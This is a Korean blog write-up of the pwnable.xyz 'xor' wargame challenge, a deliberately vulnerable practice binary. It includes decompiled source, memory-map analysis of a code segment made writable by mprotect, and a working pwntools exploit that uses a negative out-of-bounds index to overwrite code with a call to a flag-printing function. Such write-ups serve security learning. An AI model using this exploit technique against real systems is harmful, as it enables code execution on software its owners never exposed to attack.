Wargame
[pwnable.xyz] xor
_daeseong_
2025. 2. 4. 08:01
소스코드
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-24h]
__int64 v4; // [rsp+10h] [rbp-20h] BYREF
__int64 v5; // [rsp+18h] [rbp-18h] BYREF
__int64 v6; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 canary; // [rsp+28h] [rbp-8h]
canary = __readfsqword(0x28u);
puts("The Poopolator");
setup("The Poopolator", argv);
while ( 1 )
{
v6 = 0LL;
printf("> 💩 ");
v3 = _isoc99_scanf("%ld %ld %ld", &v4, &v5, &v6);
if ( !v4 || !v5 || !v6 || v6 > 9 || v3 != 3 )
break;
result[v6] = v5 ^ v4;
printf("Result: %ld\n", result[v6]);
}
exit(1);
}
int _do_global_ctors_aux()
{
_DWORD *addr; // [rsp+8h] [rbp-8h]
for ( addr = (_do_global_ctors_aux & 0xFFFFFFFFFFFFF000LL); *addr != 1179403647; addr += 2 )
;
return mprotect(addr, 0x1000uLL, 7);
}
int win()
{
return system("cat flag");
}
File: /mnt/a/pwnable.xyz/xor/challenge
Arch: amd64
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
분석
메인함수에서 전역변수인 result에 대한 OOB가 터진다 그런데 인덱스인 v6가 9보다 작아야 한다는 조건이 걸려있다.
그래서 음수로 덮을만한 곳을 살펴보려고 vmmap을 했는데 이상한 것을 발견헀다
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x555555400000 0x555555401000 rwxp 1000 0 /mnt/a/pwnable.xyz/xor/challenge
0x555555601000 0x555555602000 r--p 1000 1000 /mnt/a/pwnable.xyz/xor/challenge
0x555555602000 0x555555603000 rw-p 1000 2000 /mnt/a/pwnable.xyz/xor/challenge
0x7ffff7d7d000 0x7ffff7d80000 rw-p 3000 0 [anon_7ffff7d7d]
0x7ffff7d80000 0x7ffff7da8000 r--p 28000 0 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7da8000 0x7ffff7f3d000 r-xp 195000 28000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7f3d000 0x7ffff7f95000 r--p 58000 1bd000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7f95000 0x7ffff7f96000 ---p 1000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7f96000 0x7ffff7f9a000 r--p 4000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7f9a000 0x7ffff7f9c000 rw-p 2000 219000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7f9c000 0x7ffff7fa9000 rw-p d000 0 [anon_7ffff7f9c]
0x7ffff7fbb000 0x7ffff7fbd000 rw-p 2000 0 [anon_7ffff7fbb]
0x7ffff7fbd000 0x7ffff7fc1000 r--p 4000 0 [vvar]
0x7ffff7fc1000 0x7ffff7fc3000 r-xp 2000 0 [vdso]
0x7ffff7fc3000 0x7ffff7fc5000 r--p 2000 0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7fc5000 0x7ffff7fef000 r-xp 2a000 2000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7fef000 0x7ffff7ffa000 r--p b000 2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ffb000 0x7ffff7ffd000 r--p 2000 37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ffd000 0x7ffff7fff000 rw-p 2000 39000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffffffdd000 0x7ffffffff000 rw-p 22000 0 [stack]
오잉? 코드영역이 rwx권한이다 그래서 왜 그런가 보니까 init_array에 등록되어 있는 함수 중에 code영역을 rwx로 mprotect 하는 함수가 있었다.
그래서 음수 OOB로 코드영역을 수정할 수 있고 win 함수도 있어서 call win을 코드영역에 박아 넣었다.
exp.py
from pwn import *
context.arch = "amd64"
#p = process("./challenge")
p = remote("svc.pwnable.xyz",30029)
e = ELF("./challenge")
code = u64(asm(f"""
call . -{e.symbols['main']+0xDC-e.symbols['win']}
""").ljust(0x8,b"\x00"))
p.sendlineafter(b"> ",f"{5^code} {5} {str(-262878)}".encode())
p.interactive()